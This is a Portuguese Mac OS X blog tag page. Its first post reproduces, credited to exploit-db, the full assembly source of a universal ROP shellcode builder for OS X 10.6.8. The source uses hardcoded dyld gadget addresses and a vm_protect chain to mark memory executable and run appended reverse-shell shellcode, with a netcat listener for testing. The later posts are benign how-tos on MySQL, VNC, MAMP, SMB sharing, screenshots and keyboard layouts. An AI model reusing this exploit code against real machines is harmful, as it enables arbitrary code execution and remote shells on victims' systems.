Browsed by
Tag: leopard

OSX universal ROP shellcode Testado no SNOW LEOPARD

OSX universal ROP shellcode Testado no SNOW LEOPARD


; universal OSX dyld ROP shellcode
; tested on OS X 10.6.8
;
; if you don't want to compile, copy stage0 code from precompiled.txt
; and append your normal shellcode to it.
;
; usage:
; - put your 'normal' shellcode in x64_shellcode.asm
; - make
; - ./sc
;
; if you want to test:
; - uncomment lea rsp, [rel rop_stage0] / ret
; - make
; - nc -l 4444
; - ./sc
; - you should get a shell over nc
;
; see my blog, if you want to know how this works:
; http://gdtr.wordpress.com
;
; greets to Jacob Hammack, for his reverse tcp shellcode (hammackj.com).
;
; pa_kt
; twitter.com/pa_kt

extern _printf

global _main

;————————————————–
;- DATA
;————————————————–
section .data

rw_area equ 0x00007FFF5FC50000
rwx_area equ rw_area+0x1000
vm_prot equ 0x00007FFF5FC0D356
fake_stack equ rw_area+0x2000
fake_frame equ fake_stack+0x100
r12_zero equ rw_area-0x1000

rax_off equ rw_area-8
rbx_off equ rw_area+8-8
rcx_off equ rw_area+0x10-8
rdx_off equ rw_area+0x18-8
rsi_off equ rw_area+0x28-8
rbp_off equ rw_area+0x30-8
rsp_off equ rw_area+0x38-8
r8_off equ rw_area+0x40-8
r12_off equ rw_area+0x60-8

pop_rdi equ 0x00007FFF5FC24CDC
pop_rbx equ 0x00007FFF5FC23373
store_reg equ 0x00007FFF5FC24CE1
set_regs equ 0x00007FFF5FC24CA1

c_rwx equ 7
c_size equ 0x1000
c_addr equ rwx_area
c_set_max equ 0

dbg_ret equ 0x00007FFF5FC24C4B

; copy shellcode to RWX area
; size = 0x1000
stub:
lea rsi, [r15+saved_rsp_off+copy_stub_size+rop_post_size]
xor rcx, rcx
inc rcx
shl rcx, 12 ;rcx = 0x1000
lea rdi, [rel normal_shellcode]
rep movsb
;int 3
normal_shellcode:

stub_size equ $-stub

; order is important
rop_pre dq pop_rdi, rcx_off, pop_rbx, c_set_max, store_reg,
dq pop_rdi, rdx_off, pop_rbx, c_size, store_reg,
dq pop_rdi, rsi_off, pop_rbx, c_addr, store_reg,
dq pop_rdi, rbp_off, pop_rbx, fake_frame, store_reg,
dq pop_rdi, rsp_off, pop_rbx, fake_stack, store_reg,
dq pop_rdi, r8_off, pop_rbx, c_rwx, store_reg,
dq pop_rdi, r12_off, pop_rbx, r12_zero, store_reg,

; set fake stack
dq pop_rdi, fake_stack+8-8, pop_rbx, vm_prot, store_reg,

; set fake frame (return address -> rwx page)
dq pop_rdi, fake_frame-8-0x38, store_reg,
saved_rsp:
dq pop_rdi, fake_frame+8-8, pop_rbx, rwx_area, store_reg,

rop_pre_size equ $-rop_pre
saved_rsp_off equ $-saved_rsp-8

rop_post dq dbg_ret

; set all regs and jump to vm_prot
dq pop_rdi, rw_area, set_regs
; marker
; dq 0x1111111111111111

rop_post_size equ $-rop_post

x64_shellcode: incbin “x64_shellcode”
x64_shellcode_size equ $-x64_shellcode

hello db “test”, 0
fmt db “\x%02x”,0

section .bss

rop_stage0 resq 100
copy_stub resq ((stub_size+7)/8)*5
copy_stub_size equ $-copy_stub

;————————————————–
;- CODE
;————————————————–
section .text

prep_stub:

mov rcx, (stub_size+7)/8
mov rsi, stub
mov rdi, copy_stub
mov rbx, rwx_area-8
go:
mov rax, pop_rdi
stosq
mov rax, rbx
stosq
mov rax, pop_rbx
stosq
movsq
mov rax, store_reg
stosq
add rbx, 8
loop go
ret

make_stage0:
mov rsi, rop_pre
mov rdi, rop_stage0
mov rcx, rop_pre_size
rep movsb

mov rsi, copy_stub
mov rcx, copy_stub_size
rep movsb

mov rsi, rop_post
mov rcx, rop_post_size
rep movsb

mov rsi, x64_shellcode
mov rcx, x64_shellcode_size
rep movsb

ret

print_it:
push rbp
mov rbp, rsp

mov rcx, rop_pre_size + copy_stub_size + rop_post_size + x64_shellcode_size
lea rsi, [rel rop_stage0]
xor rax, rax
one_char:
lodsb
push rsi
push rcx
mov rsi, rax
mov rdi, qword fmt
xor rax, rax
call _printf
pop rcx
pop rsi
loop one_char

leave
ret

_main:
push qword rbp
mov rbp, rsp

call prep_stub
call make_stage0

call print_it

;lea rsp, [rel rop_stage0]
;ret

leave
ret

Fonte: http://www.exploit-db.com/exploits/17564/

Como escrever números Ordinais no Mac OS X Leopard | Snow Leopard | Lion

Como escrever números Ordinais no Mac OS X Leopard | Snow Leopard | Lion

Olá galera tudo na paz de DEUS?

Hoje, vai um artigo simples e que com certeza muita gente recém chegada ao fantástico mundo da maçã ainda não conhece…. sentados na cama ontem, minha amada @sabrinacpsantos me solta a seguinte pergunta:

-Douglas como faço pra colocar aquele esquema de “bolinha” e “azinho” aqui no Mac (número ordinais)?

-Vixe amor, eu não sei… vou pesquisar…..

Pesquisei um pouco e me deparei com um material do próprio site da apple americana…. e lá estava ensinando….. vai em imagens um esquema abaixo de como escrever números ordinais no Mac/Hackitnosh …. vou mostrar no teclado apple verdadeiro e no teclado “ABNT2 de PC” vejam na imagens para ficar mais fácil….

 

Em um teclado Apple Original

 

Agora em um Hackintosh ou em um Mac Verdadeiro utilizando Teclado de PC (vulgarmente aqui no Brasil teclado ABNT2) faça da seguinte forma

IAhhhhhhhhhhhhhh ….pegadinha do malandro…. é igual moçada…. só que lembre-se que o Alt em teclado não apple ficam do lado Esquerdo  da Barra de espaços, enquanto em teclados apple ficam entre as teclas Command e Control.

Espero que seja uma dica útil aos novos marujos do Navio Os X.

Gostou? Comente, complemente e espalhe!

Mysql não aceita senha de root no Mac os X Lion, o que fazer? (serve para o snow leopard)

Mysql não aceita senha de root no Mac os X Lion, o que fazer? (serve para o snow leopard)

Bom, pessoal, nós do app gostaríamos de detalhar algo.
NÃO precisa ter senha de root para operar o mysql, isto dá-se em detrimento ao poder de root, porém com certas restrições que cada usuário do sistema possui.

Se eu quiser entrar no mysql para criar base de dados e trabalhar com o bd (após seguir nosso how to de instalação do apache, php, e mysql no mac os x lion ou instalação do apache, php, e mysql no mac os x snow leopard

mysql
mysql

) basta fazer o seguinte:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysql –user=little_oak

Pronto, você precisa lembrar que –user=little_oak deve ser susbsituído por –user=usuário_do_SEUMAC

Depois disso trabalhe normalmente.

Perceba uma coisa forte, o MAC OS X não precisa de root para fazer as coisas (dentro do mysql), ele já sabe que você, usando sudo É O CARA, por isso basta rodar este comando no terminal:

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Troque o little_oak por seu usuário. Depois disso é só alegria.

Abraços galera e clique em SHARE, please!

Como conectar no Mac os X Snow leopard | Lion via Remote Desktop

Como conectar no Mac os X Snow leopard | Lion via Remote Desktop

Bom, galera, nós do 4ppun1x conectamos remotamente neste bsd maravilhoso que é o mac afim de que pudéssemos fazer ajustes remotos em nosso pc. Este how to resume-se em habilitar o suporte VNC do mac juntamente com uma senha de segurança para que nosso mac fique tranquilo e seguro para aceitar conexões de rede sem qualquer stress.
Estamos usando o mac os x Snow Leopard (mas funciona no mac os x lion), assim como uma conexão comum (feita de um router wireless) e usando Windows (ops, ruindows) seven e o cliente vnc TightVNC (mostraremos o link de download), que além de free atende bem pra caramba.
Bora simbora e deixar de balela?

Primeiro devemos adentrar nas preferências do sistema afim de irmos aos menus principais de configurações do mac, acompanhe o print:

Clicando no menu de preferências do mac
Clicando no menu de preferências do mac

Agora iremos clicar no menu de preferências:

menus principais SHARING
menus principais SHARING

Pronto, devemos ir na área de Sharing (ali liberamos apache, acesso remoto, compartilhamento de arquivos e etc):

Marcando acesso remoto
Marcando acesso remoto

Assim que marcamos a opção REMOTE MANAGEMENT o menu do print acima é exibido.

Iremos comentar cada opção marcada:

1 – Observe (modo de observação), marcamos o control para permitir controle por parte do acesso remoto (neste caso nosso pc Window$ 7), A opção de mostrar quando há alguém observando o pc é bom de estar marcada (é, meu amigo, alguém dentro e você sem saber é osso né?),

2 – Generate Reports é bom estar marcado pois gera logs (vai que alguém faz besteira?),

3 – Open and Quit app… Deixa marcado, afinal de contas isto habilita o suporte para o cliente remoto poder executar aplicativos,

4 – Change Settings, bem, em um caso de setup, por que não deixar ativo? Vale a pena sim! Se você precisar de um ajuste aqui ou ali deve ter isto ON.

5 – Delete e replace items é bom, afinal de contas direito de escrever, ler e executar, para acesso remoto é quase um padrão.

6 – Start text… é bom quando se quer trocar idéia com o cliente remoto, deixamos on.

7 – Restart and Shutdown, meu amigo, se alguém precisa aplicar mudanças críticas e positivas em seu Mac Os X, por que não deixar este recurso para o acesso remoto? Se achar inviável que alguém remotamente desligue seu apple, deixe isto desmarcado.

8 – Suporte a cópia de itens é bom ;), deixe on.

Assim que damos ok é solicitada autorização do user afim de que seja validada a mudança, mas para que isto ocorra de verdade devemos clicar na opção COMPUTER SETTINGS para poder deixar a coisa no ponto (é aqui que aplicamos a senha de acesso remoto, afinal de contas deixar um mac com todos os recursos globais e ainda deixar sem senha é tiro de calibre 12 no próprio pé, né?

Aplicando senha e confirmando
Aplicando senha e confirmando

Deixe em vnc viewers a senha (coloque algo usando caracteres especiais para dificultar a vida dos lamers, use #$%&*@./<> com caracteres de senha).

Assim que aplicar você precisará confirmar usando sua senha de usuário do sistema, confirme com sua senha (vide print a seguir):

Confirmar senha no Mac Os X
Confirmar senha no Mac Os X

Pode ser que nós (appunix e você), algum dia, nesta vida de trabalhador braçal, possamos nos perguntar?

Como descubro meu ip nesse danado desse mac?

Relaxa, lembra do esquema de Central das preferências do mac? Então, a gente confirmar o Sharing e volta lá, no menu networking, ou seja: Preferências do Sistema-> Network.

Veja o ícone no MEIO da central de preferências:

Centralizador de Preferências do Mac Os X
Centralizador de Preferências do Mac Os X

Pronto, depois é só clicar em Redes (Network) e meter bala, veja o danado do IP no MEIO da nova tela:

Olha o ipzão aí gente
Olha o ipzão aí gente

 

Pronto, já temos o ip em mãos, no meu caso a terminação é 104. O que devemos fazer?

No Microsoft Windows 7 devemos baixar o cliente VNC Free, para isso acesse o linkÇ

http://www.tightvnc.com/download/1.3.10/tightvnc-1.3.10-setup.exe

Baixe o cliente e em seguida abra-o.

Assim que executar o tightvnc você vai ver a seguinte tela:

cliente VNC
cliente VNC

Assim que confirmar o acesso ele vai mostrar uma tela requisitando senha, igual essa aqui ó:

senha VNC
senha VNC

Confirme com aquela senha que você definiu nas propriedades de acesso remoto de seu macosx e FINISH!

 

Curtiu?

Curtimos também.
Abraços a todos e obrigado pela visita!

Como instalar PHP, Apache e Mysql no Mac Os X Snow Leopard (mamp2 no mac)

Como instalar PHP, Apache e Mysql no Mac Os X Snow Leopard (mamp2 no mac)

Este é um artigo daqueles “easy-to-use”, aonde instalaremos o apache 2, o php 5 e o mysql 5 para que possamos programar sossegadamente (fazer um webserver para hospedar nossa aplicação localmente).
O sistema operacional usado aqui foi o Mac Os X Snow Leopard 10.6.7, mas o procedimento é o mesmo para 10.6.8.

Vamos para o fight?
Iremos usar o console do Mac os x, assim como o ports do Mac para gerenciar o trem com velocidade.
Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x
como abrir terminais no mac os x

Clicando lá você fará o seguinte:

Little-oaks-appunixlabs:~ sudo apachectl start

Isto fará com que você chame recursos globais como super usuário e ative o serviço do apache 2 dentro do seu Mac os x, LEMBRANDO que será requisitada a senha de superusuário para que você possa rodar este recurso, pois o sudo te dá poder de root para executar um determinado comando, como neste caso tomtamos o exemplo do apachectl.

Para conferir que o procedimento deu certo abra seu navegador web (no nosso caso curtimos muito o Mozilla Firefox, mas fica ao seu critério o navegador [isto não influenciará em nada neste how to]), conforme imagem abaixo, na barra de endereços digite

Apache ok
Apache ok

HTTP://localhost

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X Snow Leopard está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x
como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)
baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1
passo1

 

Feito isto iremos confirmar se o mysql está rodando com o seguinte comando:

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

Teremos liberadas extensões como PDO (Muito boa para abstração no banco de dados mysql), Mysqli (a versão aprimorada do conector nativo do Mysql [somente disponível a partir do Mysql 5.x])
Pronto, feito isto instalamos o Mysql 5 , Php 5 e Apache 2 em nosso Mac Os X :D.
Abraços a todos e saibam que o AppUnix aprecia sua visita!

Como criar pendrive bootável do Mac OS X Lion

Como criar pendrive bootável do Mac OS X Lion

Olá galera tudo tranqüilo?
Com a chegada da nossa versão final do Mac OS X Lion pairou sobre nossas cabeças como seria se precisácemos fazer uma instalação do ZERO em nossos iGadgets… Com o upgrade sendo feito através do App Store fica essa dúvida na cabeça dos usuários… De acordo com a Apple caso o usuário queira uma instalação Limpa, o mesmo terá que instalar o Snow Leopard fazer update até a versão 10.6.6 e ai, só depois dessa trabalheira toda você será capaz de subir para o Lion (o que na verdade já não é mais uma instalação limpa.. venhamos e convenhamos Apple, isso não é instalação limpa)… mas deixemos de mazela e vamos ao que interessa…. hoje vou ensinar como criar um pendrive bootável com a versão Build final (11A494) do Mac OS X Lion….
O que você precisará:

—> 1 computador rodando Mac OS X Snow Leopard (pode ser Hackintosh)
—> o .app do Mac OS X Lion (isso mesmo galera… o Sistema operacional vem como .app)
—> 1 pendrive de no mínimo 8GB (poderia ser 6Gb, mas como nunca ví estou indicando um de 8)
—> 15 minutos pra ler esse artigo

Galera primeira coisa a se fazer é preparar o pendrive… vá até o Utilitário de Disco, no painel superior | Ir/Utilitários

Lion

Entre em Utilitário de Disco
Lion_1

Chegando ao Utilitário verá uma tela mais ou menos assim
Lion_2

No painel da esquerda selecione o disco onde deseja que o Lion faça sua moradia… No caso um Kingston Datatraveler de 8.01 GB
Lion_3

Na aba de ações escolha Particionar
Lion_4

Em esquema de volume e Informações de Volume coloquei respectivamente 1 Partição e nome coloquei Lion (pode se usar qualquer nome, pois o mesmo será substituído posteriormente)
Lion_5

No canto inferior direito clique em Aplicar
Lion_6

Será notificado sobre as notificações no Disco
Lion_7

Mande particionar. Acabamos a primeira etapa….
Agora pra adiantar as coisas baixe o aplicativo ShowAllFiles
Executeo e claque em Show

Lion_8

Agora vá até seu .app que baixou da App Store, claque com o botão direito do mouse e claque em Mostrar Conteúdo do Pacote
Lion_9

Como na imagem entre na pasta Contents depois na pasta SharedSupport chegará até nosso primeiro arquivo importante…. execute o arquivo de imagem InstallESD.dmg
Lion_10

Ao executá-lo verá uma tela semelhante a essa
Lion_11

Agora execute o BaseSystem.dmg
Lion_12

Chegará a essa tela
Lion_13

Agora volte ao Utilitário de Disco, na guia onde usamos para Particionar o disco de destino do Lion, clique em Restaurar
Lion_14

Em Fonte arraste Mac OS X Base System (que foi montado quando executamos o BaseSystem.dmg)
Lion_15

Em destino arraste seu pendrive para label (em nosso caso o chamamos de Lion)
Lion_16

Ficando assim a tela completa
Lion_17

Clique em Restaurar no canto inferior Direito
Lion_18

Será notificado, clique em Apagar
Lion_19

Digite sua senha
Lion_20

Todo o processo demora em torno de 5 minutos…. agora falta pouco galera… muito pouco… Agora amigos vá até o disco Mac OS X Install ESD
Lion_21

Agora copie a pasta Packages para a área de transferência (Command+C)
Lion_22

Agora vá no pendrive (que agora chama-se Mac OS X Base System)… pra facilitar na identificação do local correto, aconselho verificar a ordem dos dispositivos montados (em todos meus teste por ter sido o ultimo a ser montado em todo o processo o pendrive fica como sendo o ultimo da lista)
Lion_23

No seu pendrive vá em System/Installation
Lion_24

Exclua o atalho para  a pasta Packages que ali se encontra
Lion_25

Lembram da pasta Packages que copiamos lá do Mac OS X Install ESD?
é pra cá que vamos copialo, é uma cópia um pouquinho demorada (já que estamos falando de 3.26 GB e para um dispositivo com velocidade de gravação baixa)
Lion_26

Agora é só correr para o abraço… pode usar tanto no seu Mac verdadeiro quanto no seu Hackintosh (com o devido CdBoot… Aconselho CdBoot feito pelo André do HMBT…que funciona desde de o DP4 do Mac OS X Lion)…
Abraço a todos… Espero que ajude a todos… Obrigado aos vários fóruns sobre Mac OS, OSX86 que existem por ai… em especial à toda staff do HMBT (http://www.hmbt.org/forum)
Fui!!!! :D

Gostou? Comente, complemente e espalhe!

Compatilhar arquivos no Mac OS X com Windows | Linux usando SAMBA

Compatilhar arquivos no Mac OS X com Windows | Linux usando SAMBA

Oi galera tudo na paz?
Depois de muito muito muito tempo sem escrever algo que valha a pena ler, volto eu depois de algum tempo bem tenso na faculdade. Mas vamos lá… hoje vou mostrar como fazer do seu mac um servidor de arquivos MUITO bom e, se não for tão eficiente quanto o nosso querido SAMBA sobre um Linux bate de frente com o mesmo… so que com a diferença de não precisar saber se quer um mízero comando no terminal….
Duvida?
Veja bem, fiz um teste esses dias com um HACKINTOSH, vejam bem… um HACKINTOSH rodou como servidor de arquivos e Sistema de Automação comercial para uma rede de mais de 50 computadores sem ao menos fazer com que o load dessa máquina chegasse a 2… galera um HACKINTOSH controlou uma empresa inteira com apenas alguns cliques e algumas palavras digitadas… não é brincadeira galera…. poderia estar escrevendo esse how to apenas colocando como compartilhar arquivos do seu Mac | Hackintosh com computadores Window$, Linux…. mas quero deixar claro que se houver necessidade de segurar as pontas como servidor de arquivos… esse cara consegui tranqüilamente cumprir o papel…. mas vamos lá, é bem simples rápido e eficiente, como tudo no mundo da maçã….
Vá até Preferências do Sistema, para tal vá no Menu no canto superior esquerdo

Pref_Sistemas

Chegando nesse maravilhoso Painel, na guia Internet e Redes sem fio, vá em Compartilhamento

Internet_Rede

Chegará nesse painel PERFEITO

Compartilhamento

Podem reparar que por padrão o compartilhamento de arquivos vem Desativado

Compartilhamento_2

Clicando em Opções no canto inferior Direito chegará a seguinte tela…

Compartilhamento_3

Não iremos abordar a fundo hoje todas as funções somente o protocolo SMB ou SAMBA para os mais íntimos e que nos atenderá muito bem como abordado acima…. Marque Compartilhar arquivos e pastas usando SMB (Windows) e não marque nenhum usuário (isso pode ser feito assim que você estiver mais familiarizado com esse ambiente e jápuder fazer teste sozinho)

Compartilhamento_4

Podem ver que na Guia Pastas Compartilhadas Temos somente essa pasta padrão compartilhada

Compartilhamento_5

Clicando com o + você será guiado a adicionar mais Diretórios a serem compartilhados… Em nosso caso vamos compartilhar um Diretório chamado Dados

Compartilhamento_6

Agora damos permissão as qualquer usuário para acessar, ler, gravar em nosso SAMBA… é tipo um 777 para usuário Nobody do SAMBA rodando sobre Linux….

Compartilhamento_7

Agora basta, na lista a esquerda, marca o item Compart. de Arquivos para ativar de vez o compartilhamento

Compartilhamento_8

Pode ver agora que Compartilhamento Windows está como ativado

Compartilhamento_9

Agora vou lhes mostrar como usufruir do nosso compartilhamente no Winodws. No Window$ vá em Iniciar, Executar:

Windows

Chegará a isso:

Windows_2

Seu Windows XP, Windows Vista ou WIndows 7 enxerga esse diretório como sendo uma pasta de Compartilhamento feita por um outro computador Window$…. Se você chegou até aqui tento resultados parecidos com os das imagens do how to, quer dizer que fez tudo corretamente e já tem Servidor de Arquivos funcionando perfeitamente em seu Mac | Hackitnosh.

Agora de um Linux qualquer, em nosso caso um Cent OS, faça da seguinte forma, Vá em Locais, Conectar ao Servidor

Centos

Em Tipo de serviço, por padrão estará como FTP Público

Centos_2

Clique e escolha Compartilhamento do Window$

Centos_3

Nessa próxima tela, como não colocamos senha, usuário nem nada que impedisse acesso de qualquer usuário à pasta Dados, então coloque somente o Endereço IP do seu Mac | Hackintosh, em nosso caso 192.168.0.100

Centos_4

Chegará a tela

Centos_5

Pronto galera, está ai…. tudo funciona com um SAMBA legítimo…
Espero ter ajudado ao iniciantes no mundo da maça e a Sysadmins que as vezes pegam esses rabos de foguete pra mexer… isso ai só é a ponta do IceBerg… dá pra muita coisa com esse esquema de permissões…. Testem, mexam, e principalmete compartilhem com quem necessita ajuda…. se um dia você encontrou o que procurava aqui no app, um dia com certeza alguém precisará de usa ajuda…. não retenha conhecimento…. Obrigado por visitar nosso Blog…
Abraço a todos!!!! :D

Como fazer printscreen no Mac Os X Leopard | Snow Leopard

Como fazer printscreen no Mac Os X Leopard | Snow Leopard

Um tarefa mais simples, porém menos produtiva junto ao Windows é “printar” uma tela.
Sim, é simples, teclando PrintScreen temos uma imagem na memória e basta abrir um programa, como por exemplo Paint Brush e colar (CTRL+V) e temos a imagem lá. Se salvarmos encontraremos um BMP ultra pesado e com qualidade precária.

No Mac Os X, apesar de ser diferente, a idéia de prints no Mac é bem superior ao Windows. Veja pela lógica, bater um print normalmente é algo para uma produção corriqueira (printar uma tela para em seguida enviar uma imagem de erro para alguém como parte de um report), printar para fazer montagens em editores profissionais como Photoshop, por exemplo.

No caso do Mac Os X, a mentalidade dos desenvolvedores é muito inteligente, veja por que:

1 – Maior parte das alternativas de prints salva na área de trabalho,

2 – Os prints salvos automaticamente no Desktop SÃO EM FORMATO PNG. (acredite, a qualidade/consistência desse formato são violentíssimos).

 

Vamos aos comandos?

 

1 – Printando uma tela e armazenando a imagem no desktop em formato PNG:

command+shift+3

2 – Printando uma tela a qual poderemos marcar o campo de print com o cursor do mouse:

command+shift+4

3 – Printando uma tela de forma que seu cursor selecione a janela que possa ser printada:

command+shift+4+posterior toque na barra de espaço

4 – Printando uma tela para armazena-la na memória de forma que possamos colocar a imagem em um programa profissional (Photoshop, por exemplo):

command+shift+3+ctrl, command+shift+4+ctrl, command+shift+4+posterior toque na barra de espaço+ctrl

 

É possível mudar o formato das imagens salvas? SIM!

Para mudar o formato você precisa entrar no console e digitar:

defaults write com.apple.screencapture type pdf

 

Posso voltar para PNG? SIM!

defaults write com.apple.screencapture type png

 

Baseado em: http://www.infoblogs.com.br/view.action?contentId=16627&Como-fazer-print-screens-no-Mac-OS-X.html

Teclado ABNT2 on Mac OS X | Hackintosh Snow Leopad

Teclado ABNT2 on Mac OS X | Hackintosh Snow Leopad

Olá galera tudo na paz?

Hoje venho mostrar a vocês que estão tendo dificuldades com teclado ABNT2 em seu Mac/Hackintosh rodando Mac OS X Snow Leopard. Existem por ai MUITOS métodos dizendo fazer funcionar perfeitamente Teclado ABNT2 mas, sua grande maioria são layouts falhos… onde algumas teclas ficam sem funcionar ou adquirem funçoes diferente do que as que realmente têm… Após bastante tempo usando um teclado Apple ( layout Inglês Internacional) tanto em meus Hackintosh quanto no MacBook, não sentia necessidade de postar uma solução para ABNT2 aqui no blog… Só que com a vinda de MR. Little_Oak para nosso mundo Mac OS X, foi necessário pesquisar uma maneira de deixar a coisa bem funcional… pesquisei MUITO e pra falar a verdade quando estava quase desistindo encontrei uma solução, posso dizer que esse rapaz/menino/homem que fez isso é o CARA…. eu inclusive tentei por várias vezes editar alguns layouts existentes, mas sem sucesso… falatavam teclas e outros probleminhas…. mas vamos ao que interessa.

Siga as instruções abaixo e em menos de 15 minutos terá o seu querido teclado em ABNT2 funcionando corretamente

EDIT: Pessoal caso queiram(até indico) podem continuar seguinto esse how-to para que cheguem ao fim com teclado ABNT2 funcionando plenamente… há um artigo mais recente no blog em que publico um .PKG (instalador no Mac OS X) que faz todo o trabalho que ensino a fazer manualmente aqui, ele faz automáticamente… aconselho a leitura para fins de conhecer melhor o sistema Mac OS, mas aconselho tbm a leitura do artigo https://www.appunix.com.br/howto/mac-os/teclado-abnt2-mac-os-x-hackintos-lion/ onde como disse acima publico um .PKG desenvolvido por mim para facilitar a vida dos Mac Users e Hackntoshers de plantão…

1.    Baixe e abra o arquivo compactado.Aqui
2.    Na pasta em que o arquivo foi descompactado, localize o arquivo Brazilian ABNT2.bundle.

ABNT2_budle

3.    Copie este arquivo para a pasta ~/Library/Keyboard Layouts (para que o layout fique disponível apenas para o seu usuário) OU /Library/Keyboard Layouts/ (para que o layout fique disponível para todos os usuários).

ABNT2_bundle2

4.    Será necessário fazer Logout (Finalizar Sessão) e entre novamente no sistema para que o layout seja carregado.

Logout

5.    Vá em Preferências do Sistema (System Preferences)
Preferencias_Sistema

6.     Vá em Idioma & Texto (Language & Text). No guia Input Sources (Fonte de entrada/Layouts de Teclado)
Input_Sources

 

7.    Procure/Selecione Brasileiro ABNT2 (Brazilian ABNT2).
Select_ABNT2

 

8.    Após marcar ficará disponível no painel superior a opção Brasileiro ABNT2 (Brazilian ABNT2)

Painel_superior

9.    Marque o layout desejado (Brazilian ABNT2) .

Painel_ABNT2

 

Pronto, agora você pode usar o teclado normalmente.(diga-se #alegria)

Mapeamento das Teclas
Teclas mapeadas de acordo com o layout mostrado na Wikipedia:

Normal

‘  1  2  3  4  5  6  7  8  9  0  –  =
q  w  e  r  t  y  u  i  o  p  á  [
a  s  d  f  g  h  j  k  l  ç  ã  ]
\  z  x  c  v  b  n  m  ,  .  ;  /

Shift

”  !  @  #  $  %  ä  &  *  (  )  _  +
Q  W  E  R  T  Y  U  I  O  P  À  {
A  S  D  F  G  H  J  K  L  Ç    }
|  Z  X  C  V  B  N  M  <  >  :  ?

AltGr

¬  ¹  ²  ³  £  ¢  ¬  {  [  ]  }  \  §
/  ?  €  ®  ŧ  ←  ↓  →  ø  þ  ´  ª
æ  ß  ð  đ  ŋ  ħ     ĸ  ł  á  ~  º
º  «  »  ©  “  ”     µ  ─  ·  ạ  °

AltGr + Shift

¬  ¡  ½  ¾  ¼  ⅜  ¨  ⅞  ™  ±  °  ¿  ą
/  ?  €  ®  Ŧ  ¥  ↑  ı  Ø  Þ    ā
Æ  §  Р ª  Ŋ  Ħ     &  Ł  ő  ^  º
ă    © 
  ‘     µ  ×  ÷  ȧ  ¿

